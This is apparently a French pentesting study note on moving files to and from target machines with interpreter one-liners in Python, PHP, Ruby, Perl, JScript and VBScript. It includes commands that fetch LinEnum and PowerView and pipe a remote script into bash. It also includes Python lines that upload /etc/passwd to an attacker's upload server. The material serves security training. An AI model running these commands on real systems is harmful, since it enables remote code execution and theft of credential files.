Transferring Files with Code

🧠 Introduction

Il est fréquent de trouver différents langages de programmation installés sur les machines cibles. Des langages comme Python, PHP, Perl ou Ruby sont généralement disponibles par défaut sur les distributions Linux, mais peuvent également être installés sur Windows (moins courant).

Certaines applications préinstallées sous Windows, telles que cscript et mshta, permettent d'exécuter du code JavaScript ou VBScript. À noter que JavaScript peut aussi être exécuté sur des hôtes Linux.

D'après Wikipedia, il existe environ 700 langages de programmation. On peut écrire du code dans n'importe lequel d'entre eux pour télécharger, envoyer ou exécuter des instructions sur le système d'exploitation.

Cette section fournit des exemples courants de transfert de fichiers à l'aide de différents langages.

⚙️ Fonctionnement

Python

Langage populaire, Python est actuellement utilisé majoritairement en version 3, bien que certains serveurs utilisent encore la version 2.7. Python permet d'exécuter des one-liners grâce à l'option -c.

Python 2 - Téléchargement :

python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python 3 - Téléchargement :

python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP

Langage très répandu, utilisé par plus de 75% des sites web côté serveur. Il offre plusieurs méthodes pour transférer des fichiers.

file_get_contents() + file_put_contents() :

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

fopen() :

php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

Téléchargement + exécution sans fichier :

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby

ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Perl

perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

JavaScript (Windows avec cscript.exe)

Contenu du fichier wget.js :

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Commande d'exécution :

cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript (Windows)

Contenu du fichier wget.vbs :

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

Commande d'exécution :

cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

Upload de fichiers en Python3

Démarrage du serveur d'upload :

python3 -m uploadserver

Upload d'un fichier avec une one-liner Python :

python3 -c 'import requests;requests.post("http://<IP CIBLE>:8000/upload",files={"files":open("/etc/passwd","rb")})'

Version étendue :

import requests
URL = "http://<IP CIBLE>:8000/upload"
file = open("/etc/passwd","rb")
r = requests.post(URL, files={"files": file})

🚨 Risques & vulnérabilités

  • Exécution de code non vérifié depuis Internet.

  • Récupération de malwares via ces commandes.

  • Injection de commandes possibles si les URLs ou chemins sont dynamiques.

  • Utilisation d'interpréteurs obsolètes (ex : Python 2.7).

🛠️ Outils & commandes utiles

  • python2.7 / python3

  • php -r

  • perl -e

  • ruby -e

  • cscript.exe

  • uploadserver (Python3)

📚 Ressources utiles


Mis à jour